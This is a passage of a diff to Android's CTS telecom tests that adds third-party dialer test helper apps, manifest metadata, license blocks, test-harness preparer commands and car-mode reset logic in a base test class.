+    <uses-permission android:name="android.permission.REGISTER_SIM_SUBSCRIPTION" />
 
     <application>
         <uses-library android:name="android.test.runner" />
 
+        <service android:name="android.telecom.cts.CtsCallDiagnosticService"
+            android:permission="android.permission.BIND_CALL_DIAGNOSTIC_SERVICE"
+            android:exported="true" >
+            <intent-filter>
+                <action android:name="android.telecom.CallDiagnosticService" />
+            </intent-filter>
+        </service>
+
         <service android:name="android.telecom.cts.CtsRemoteConnectionService"
             android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE" >
             <intent-filter>
@@ -68,6 +79,8 @@
             </intent-filter>
             <meta-data android:name="android.telecom.IN_CALL_SERVICE_UI" android:value="true" />
             <meta-data android:name="android.telecom.INCLUDE_EXTERNAL_CALLS" android:value="true" />
+            <meta-data android:name="android.telecom.INCLUDE_SELF_MANAGED_CALLS"
+                       android:value="true" />
         </service>
 
         <service android:name="android.telecom.cts.MockCallScreeningService"
diff --git a/tests/tests/telecom/AndroidTest.xml b/tests/tests/telecom/AndroidTest.xml
index e605691..fa09889 100644
--- a/tests/tests/telecom/AndroidTest.xml
+++ b/tests/tests/telecom/AndroidTest.xml
@@ -29,14 +29,21 @@
         <option name="test-file-name" value="CallScreeningServiceTestApp.apk" />
         <option name="test-file-name" value="CarModeTestApp.apk" />
         <option name="test-file-name" value="CarModeTestAppTwo.apk" />
+        <option name="test-file-name" value="ThirdPtyDialerTestApp.apk" />
+        <option name="test-file-name" value="ThirdPtyDialerTestAppTwo.apk" />
     </target_preparer>
+
+    <!-- Enabling change id ALLOW_TEST_API_ACCESS allows that package to access @TestApi methods -->
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-      <!-- Disable hidden API checking, see b/166236554 -->
-        <option name="run-command" value="settings put global hidden_api_policy 1" />
-        <option name="teardown-command" value="settings delete global hidden_api_policy" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.telecom.cts" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.telecom.cts.api29incallservice" />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.telecom.cts" />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.telecom.cts.api29incallservice" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.telecom.cts" />
         <option name="runtime-hint" value="10m20s" />
+        <option name="test-timeout" value="20m"/>
+        <option name="shell-timeout" value="22m"/>
     </test>
 </configuration>
diff --git a/tests/tests/telecom/Api29InCallServiceTestApp/Android.bp b/tests/tests/telecom/Api29InCallServiceTestApp/Android.bp
index 74b42aa..0baaeb2 100644
--- a/tests/tests/telecom/Api29InCallServiceTestApp/Android.bp
+++ b/tests/tests/telecom/Api29InCallServiceTestApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "Api29InCallServiceTestApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml b/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml
index 715e8f7..d9fd0f8 100644
--- a/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml
@@ -28,7 +28,8 @@
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
     <uses-permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE" />
 
-    <application android:label="Api29CTSInCallService">
+    <application android:label="Api29CTSInCallService"
+                 android:debuggable="true">
         <service android:name=".CtsApi29InCallService"
                  android:permission="android.permission.BIND_INCALL_SERVICE"
                  android:launchMode="singleInstance"
diff --git a/tests/tests/telecom/CallRedirectionServiceTestApp/Android.bp b/tests/tests/telecom/CallRedirectionServiceTestApp/Android.bp
index 632a714..413066a 100644
--- a/tests/tests/telecom/CallRedirectionServiceTestApp/Android.bp
+++ b/tests/tests/telecom/CallRedirectionServiceTestApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CallRedirectionServiceTestApp",
     srcs: [
diff --git a/tests/tests/telecom/CallScreeningServiceTestApp/Android.bp b/tests/tests/telecom/CallScreeningServiceTestApp/Android.bp
index 79bf603..878eddd 100644
--- a/tests/tests/telecom/CallScreeningServiceTestApp/Android.bp
+++ b/tests/tests/telecom/CallScreeningServiceTestApp/Android.bp
@@ -17,6 +17,10 @@
 // package name which does not conflict with the CallScreeningService
 // associated with the CTS InCallService.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CallScreeningServiceTestApp",
     srcs: [
diff --git a/tests/tests/telecom/CarModeTestApp/Android.bp b/tests/tests/telecom/CarModeTestApp/Android.bp
index 53ea07e..9483bde 100644
--- a/tests/tests/telecom/CarModeTestApp/Android.bp
+++ b/tests/tests/telecom/CarModeTestApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CarModeTestApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telecom/CarModeTestApp/AndroidManifest.xml b/tests/tests/telecom/CarModeTestApp/AndroidManifest.xml
index 01d7094..1a94526 100644
--- a/tests/tests/telecom/CarModeTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/CarModeTestApp/AndroidManifest.xml
@@ -32,6 +32,8 @@
                        android:value="true"/>
             <meta-data android:name="android.telecom.INCLUDE_EXTERNAL_CALLS"
                        android:value="true" />
+            <meta-data android:name="android.telecom.INCLUDE_SELF_MANAGED_CALLS"
+                       android:value="true" />
             <intent-filter>
               <action android:name="android.telecom.InCallService"/>
             </intent-filter>
diff --git a/tests/tests/telecom/CarModeTestAppTwo/Android.bp b/tests/tests/telecom/CarModeTestAppTwo/Android.bp
index 4ab49df..55abd0b 100644
--- a/tests/tests/telecom/CarModeTestAppTwo/Android.bp
+++ b/tests/tests/telecom/CarModeTestAppTwo/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CarModeTestAppTwo",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telecom/CarModeTestAppTwo/AndroidManifest.xml b/tests/tests/telecom/CarModeTestAppTwo/AndroidManifest.xml
index bee5d20..89489a3 100644
--- a/tests/tests/telecom/CarModeTestAppTwo/AndroidManifest.xml
+++ b/tests/tests/telecom/CarModeTestAppTwo/AndroidManifest.xml
@@ -32,6 +32,8 @@
                        android:value="true"/>
             <meta-data android:name="android.telecom.INCLUDE_EXTERNAL_CALLS"
                        android:value="true" />
+            <meta-data android:name="android.telecom.INCLUDE_SELF_MANAGED_CALLS"
+                       android:value="true" />
             <intent-filter>
               <action android:name="android.telecom.InCallService"/>
             </intent-filter>
diff --git a/tests/tests/telecom/ThirdPtyDialerTestApp/Android.bp b/tests/tests/telecom/ThirdPtyDialerTestApp/Android.bp
new file mode 100644
index 0000000..9bdf9cc
--- /dev/null
+++ b/tests/tests/telecom/ThirdPtyDialerTestApp/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "ThirdPtyDialerTestApp",
+    defaults: ["cts_defaults"],
+    srcs: [
+        "src/**/*.java",
+        ":third-pty-dialer-app-srcs",
+        ":third-pty-dialer-app-aidl",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "CtsTelecomMockLib",
+    ],
+    sdk_version: "test_current",
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/telecom/ThirdPtyDialerTestApp/AndroidManifest.xml b/tests/tests/telecom/ThirdPtyDialerTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..0b80557
--- /dev/null
+++ b/tests/tests/telecom/ThirdPtyDialerTestApp/AndroidManifest.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.telecom.cts.thirdptydialer"
+          android:versionCode="1"
+          android:versionName="1.0"
+          android:sharedUserId="android.telecom.cts">
+
+    <!-- sdk 15 is the max for read call log -->
+    <uses-sdk android:minSdkVersion="15" />
+
+    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+    <uses-permission android:name="android.permission.CALL_COMPANION_APP"/>
+
+    <application android:label="ThirdPtyDialerTestApp">
+        <service android:name=".android.telecom.cts.thirdptydialer.CtsThirdPtyDialerInCallService"
+                 android:permission="android.permission.BIND_INCALL_SERVICE"
+                 android:launchMode="singleInstance"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.telecom.InCallService"/>
+            </intent-filter>
+            <meta-data android:name="android.telecom.IN_CALL_SERVICE_UI"
+                       android:value="true" />
+            <meta-data android:name="android.telecom.INCLUDE_EXTERNAL_CALLS"
+                       android:value="true" />
+        </service>
+        <service android:name=".CtsThirdPtyDialerInCallServiceControl"
+                 android:launchMode="singleInstance"
+                 android:exported="true">
+            <intent-filter>
+                <action
+                    android:name="android.telecom.cts.thirdptyincallservice.ACTION_THIRDPTY_CTRL"/>
+            </intent-filter>
+        </service>
+
+        <activity android:name="android.telecom.cts.thirdptydialer.CtsThirdPtyDialerActivity"
+                  android:label="ThirdPtyDialerTestApp"
+                  android:process="android.telecom.cts.thirdptydialertwo.CtsThirdPtyDialerInCallService"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="tel"/>
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+    </application>
+
+</manifest>
diff --git a/tests/tests/telecom/ThirdPtyDialerTestApp/src/android/telecom/cts/thirdptydialer/CtsThirdPtyDialerActivity.java b/tests/tests/telecom/ThirdPtyDialerTestApp/src/android/telecom/cts/thirdptydialer/CtsThirdPtyDialerActivity.java
new file mode 100644
index 0000000..e020623
--- /dev/null
+++ b/tests/tests/telecom/ThirdPtyDialerTestApp/src/android/telecom/cts/thirdptydialer/CtsThirdPtyDialerActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts.thirdptydialer;
+
+import android.telecom.cts.thirdptyincallservice.CtsThirdPartyInCallServiceActivity;
+
+public class CtsThirdPtyDialerActivity extends CtsThirdPartyInCallServiceActivity {
+}
diff --git a/tests/tests/telecom/ThirdPtyDialerTestApp/src/android/telecom/cts/thirdptydialer/CtsThirdPtyDialerInCallService.java b/tests/tests/telecom/ThirdPtyDialerTestApp/src/android/telecom/cts/thirdptydialer/CtsThirdPtyDialerInCallService.java
new file mode 100644
index 0000000..2854f9e
--- /dev/null
+++ b/tests/tests/telecom/ThirdPtyDialerTestApp/src/android/telecom/cts/thirdptydialer/CtsThirdPtyDialerInCallService.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts.thirdptydialer;
+
+import android.telecom.cts.thirdptyincallservice.CtsThirdPartyInCallService;
+
+public class CtsThirdPtyDialerInCallService extends CtsThirdPartyInCallService {
+}
diff --git a/tests/tests/telecom/ThirdPtyDialerTestApp/src/android/telecom/cts/thirdptydialer/CtsThirdPtyDialerInCallServiceControl.java b/tests/tests/telecom/ThirdPtyDialerTestApp/src/android/telecom/cts/thirdptydialer/CtsThirdPtyDialerInCallServiceControl.java
new file mode 100644
index 0000000..c986f4a
--- /dev/null
+++ b/tests/tests/telecom/ThirdPtyDialerTestApp/src/android/telecom/cts/thirdptydialer/CtsThirdPtyDialerInCallServiceControl.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts.thirdptydialer;
+
+import android.telecom.cts.thirdptyincallservice.CtsThirdPartyInCallServiceControl;
+
+public class CtsThirdPtyDialerInCallServiceControl extends CtsThirdPartyInCallServiceControl {
+}
diff --git a/tests/tests/telecom/ThirdPtyDialerTestAppTwo/Android.bp b/tests/tests/telecom/ThirdPtyDialerTestAppTwo/Android.bp
new file mode 100644
index 0000000..c99ef76
--- /dev/null
+++ b/tests/tests/telecom/ThirdPtyDialerTestAppTwo/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "ThirdPtyDialerTestAppTwo",
+    defaults: ["cts_defaults"],
+    srcs: [
+        "src/**/*.java",
+        ":third-pty-dialer-app-srcs",
+        ":third-pty-dialer-app-aidl",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "CtsTelecomMockLib",
+    ],
+    sdk_version: "test_current",
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/telecom/ThirdPtyDialerTestAppTwo/AndroidManifest.xml b/tests/tests/telecom/ThirdPtyDialerTestAppTwo/AndroidManifest.xml
new file mode 100644
index 0000000..b4e0511
--- /dev/null
+++ b/tests/tests/telecom/ThirdPtyDialerTestAppTwo/AndroidManifest.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.telecom.cts.thirdptydialertwo"
+          android:versionCode="1"
+          android:versionName="1.0"
+          android:sharedUserId="android.telecom.cts">
+
+    <!-- sdk 15 is the max for read call log -->
+    <uses-sdk android:minSdkVersion="15" />
+
+    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+    <uses-permission android:name="android.permission.CALL_COMPANION_APP"/>
+
+    <application android:label="ThirdPtyDialerTestAppTwo">
+        <service android:name=".android.telecom.cts.thirdptydialertwo.CtsThirdPtyDialerInCallServiceTwo"
+                 android:permission="android.permission.BIND_INCALL_SERVICE"
+                 android:launchMode="singleInstance"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.telecom.InCallService"/>
+            </intent-filter>
+            <meta-data android:name="android.telecom.IN_CALL_SERVICE_UI"
+                       android:value="true" />
+            <meta-data android:name="android.telecom.INCLUDE_EXTERNAL_CALLS"
+                       android:value="true" />
+            <meta-data android:name="android.telecom.INCLUDE_SELF_MANAGED_CALLS"
+                       android:value="true" />
+        </service>
+        <service android:name=".CtsThirdPtyDialerInCallServiceControlTwo"
+                 android:launchMode="singleInstance"
+                 android:exported="true">
+            <intent-filter>
+                <action
+                    android:name="android.telecom.cts.thirdptyincallservice.ACTION_THIRDPTY_CTRL"/>
+            </intent-filter>
+        </service>
+
+        <activity android:name="android.telecom.cts.thirdptydialertwo.CtsThirdPtyDialerActivityTwo"
+                  android:label="ThirdPtyDialerTestAppTwo"
+                  android:process="android.telecom.cts.thirdptydialertwo.CtsThirdPtyDialerInCallServiceTwo"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="tel"/>
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+    </application>
+
+</manifest>
diff --git a/tests/tests/telecom/ThirdPtyDialerTestAppTwo/src/android/telecom/cts/thirdptydialertwo/CtsThirdPtyDialerActivityTwo.java b/tests/tests/telecom/ThirdPtyDialerTestAppTwo/src/android/telecom/cts/thirdptydialertwo/CtsThirdPtyDialerActivityTwo.java
new file mode 100644
index 0000000..5fe6c2f
--- /dev/null
+++ b/tests/tests/telecom/ThirdPtyDialerTestAppTwo/src/android/telecom/cts/thirdptydialertwo/CtsThirdPtyDialerActivityTwo.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts.thirdptydialertwo;
+
+import android.telecom.cts.thirdptyincallservice.CtsThirdPartyInCallServiceActivity;
+
+public class CtsThirdPtyDialerActivityTwo extends CtsThirdPartyInCallServiceActivity {
+}
diff --git a/tests/tests/telecom/ThirdPtyDialerTestAppTwo/src/android/telecom/cts/thirdptydialertwo/CtsThirdPtyDialerInCallServiceControlTwo.java b/tests/tests/telecom/ThirdPtyDialerTestAppTwo/src/android/telecom/cts/thirdptydialertwo/CtsThirdPtyDialerInCallServiceControlTwo.java
new file mode 100644
index 0000000..7aa9cee
--- /dev/null
+++ b/tests/tests/telecom/ThirdPtyDialerTestAppTwo/src/android/telecom/cts/thirdptydialertwo/CtsThirdPtyDialerInCallServiceControlTwo.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts.thirdptydialertwo;
+
+import android.telecom.cts.thirdptyincallservice.CtsThirdPartyInCallServiceControl;
+
+public class CtsThirdPtyDialerInCallServiceControlTwo extends CtsThirdPartyInCallServiceControl {
+}
diff --git a/tests/tests/telecom/ThirdPtyDialerTestAppTwo/src/android/telecom/cts/thirdptydialertwo/CtsThirdPtyDialerInCallServiceTwo.java b/tests/tests/telecom/ThirdPtyDialerTestAppTwo/src/android/telecom/cts/thirdptydialertwo/CtsThirdPtyDialerInCallServiceTwo.java
new file mode 100644
index 0000000..0222d87
--- /dev/null
+++ b/tests/tests/telecom/ThirdPtyDialerTestAppTwo/src/android/telecom/cts/thirdptydialertwo/CtsThirdPtyDialerInCallServiceTwo.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts.thirdptydialertwo;
+
+import android.telecom.cts.thirdptyincallservice.CtsThirdPartyInCallService;
+
+public class CtsThirdPtyDialerInCallServiceTwo extends CtsThirdPartyInCallService {
+}
diff --git a/tests/tests/telecom/ThirdPtyInCallServiceTestApp/Android.bp b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/Android.bp
index faf7305..363b4ab 100644
--- a/tests/tests/telecom/ThirdPtyInCallServiceTestApp/Android.bp
+++ b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "ThirdPtyInCallServiceTestApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml
index eb509ec..fb2298a 100644
--- a/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml
@@ -24,7 +24,8 @@
 
     <uses-permission android:name="android.permission.READ_CALL_LOG"/>
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
-    <uses-permission android:name="android.permission.CALL_COMPANION_APP" />
+    <uses-permission android:name="android.permission.CALL_COMPANION_APP"/>
+    <uses-permission android:name="android.permission.MANAGE_ONGOING_CALLS"/>
 
     <application android:label="ThirdPtyCTSInCallService">
         <service android:name=".CtsThirdPartyInCallService"
@@ -35,10 +36,10 @@
             <intent-filter>
                 <action android:name="android.telecom.InCallService"/>
             </intent-filter>
-            <meta-data android:name="android.telecom.IN_CALL_SERVICE_CAR_MODE_UI"
-                       android:value="true" />
             <meta-data android:name="android.telecom.INCLUDE_EXTERNAL_CALLS"
                        android:value="true" />
+            <meta-data android:name="android.telecom.INCLUDE_SELF_MANAGED_CALLS"
+                       android:value="true" />
         </service>
         <service android:name=".CtsThirdPartyInCallServiceControl"
                  android:launchMode="singleInstance">
diff --git a/tests/tests/telecom/ThirdPtyInCallServiceTestApp/src/android/telecom/cts/thirdptyincallservice/CtsThirdPartyInCallService.java b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/src/android/telecom/cts/thirdptyincallservice/CtsThirdPartyInCallService.java
index 4eea8ad..d5e5345 100644
--- a/tests/tests/telecom/ThirdPtyInCallServiceTestApp/src/android/telecom/cts/thirdptyincallservice/CtsThirdPartyInCallService.java
+++ b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/src/android/telecom/cts/thirdptyincallservice/CtsThirdPartyInCallService.java
@@ -32,8 +32,8 @@
     private static final String TAG = CtsThirdPartyInCallService.class.getSimpleName();
     protected static final int TIMEOUT = 10000;
 
-    private static CountDownLatch sServiceBoundLatch;
-    private static CountDownLatch sServiceUnboundlatch;
+    private static CountDownLatch sServiceBoundLatch = new CountDownLatch(1);
+    private static CountDownLatch sServiceUnboundlatch = new CountDownLatch(1);
 
     private static Set<Call> sCalls = new HashSet<>();
 
diff --git a/tests/tests/telecom/ThirdPtyInCallServiceTestApp/src/android/telecom/cts/thirdptyincallservice/CtsThirdPartyInCallServiceActivity.java b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/src/android/telecom/cts/thirdptyincallservice/CtsThirdPartyInCallServiceActivity.java
new file mode 100644
index 0000000..8c6eba6
--- /dev/null
+++ b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/src/android/telecom/cts/thirdptyincallservice/CtsThirdPartyInCallServiceActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts.thirdptyincallservice;
+
+import android.app.Activity;
+
+public class CtsThirdPartyInCallServiceActivity extends Activity {
+}
diff --git a/tests/tests/telecom/aidl/android/telecom/cts/carmodetestapp/ICtsCarModeInCallServiceControl.aidl b/tests/tests/telecom/aidl/android/telecom/cts/carmodetestapp/ICtsCarModeInCallServiceControl.aidl
index bf7b9a0..5336d81 100644
--- a/tests/tests/telecom/aidl/android/telecom/cts/carmodetestapp/ICtsCarModeInCallServiceControl.aidl
+++ b/tests/tests/telecom/aidl/android/telecom/cts/carmodetestapp/ICtsCarModeInCallServiceControl.aidl
@@ -24,4 +24,5 @@
     void enableCarMode(int priority);
     void disableCarMode();
     void disconnectCalls();
+    boolean checkBindStatus(boolean bind);
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
index 459ff27..b2c2539 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
@@ -88,6 +88,7 @@
     Context mContext;
     TelecomManager mTelecomManager;
     TelephonyManager mTelephonyManager;
+    UiModeManager mUiModeManager;
 
     TestUtils.InvokeCounter mOnBringToForegroundCounter;
     TestUtils.InvokeCounter mOnCallAudioStateChangedCounter;
@@ -170,8 +171,13 @@
             return;
         }
 
-        // Assume we start in normal mode at the start of all Telecom tests; a failure to leave car
-        // mode in any of the tests would cause subsequent test failures.
+        // Assume we start in normal mode at the start of all Telecom tests.
+        // A failure to leave car mode in any of the tests would cause subsequent test failures,
+        // but this failure should not affect other tests.
+        mUiModeManager = mContext.getSystemService(UiModeManager.class);
+        if (mUiModeManager.getCurrentModeType() == Configuration.UI_MODE_TYPE_CAR) {
+            mUiModeManager.disableCarMode(0);
+        }
         assertUiMode(Configuration.UI_MODE_TYPE_NORMAL);
 
         mTelecomManager = (TelecomManager) mContext.getSystemService(Context.TELECOM_SERVICE);
@@ -1807,7 +1813,6 @@
      * @param uiMode The expected ui mode.
      */
     public void assertUiMode(final int uiMode) {
-        final UiModeManager uiModeManager = mContext.getSystemService(UiModeManager.class);
         waitUntilConditionIsTrueOrTimeout(
                 new Condition() {
                     @Override
@@ -1817,7 +1822,7 @@
 
                     @Override
                     public Object actual() {
-                        return uiModeManager.getCurrentModeType();
+                        return mUiModeManager.getCurrentModeType();
                     }
                 },
                 TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java b/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
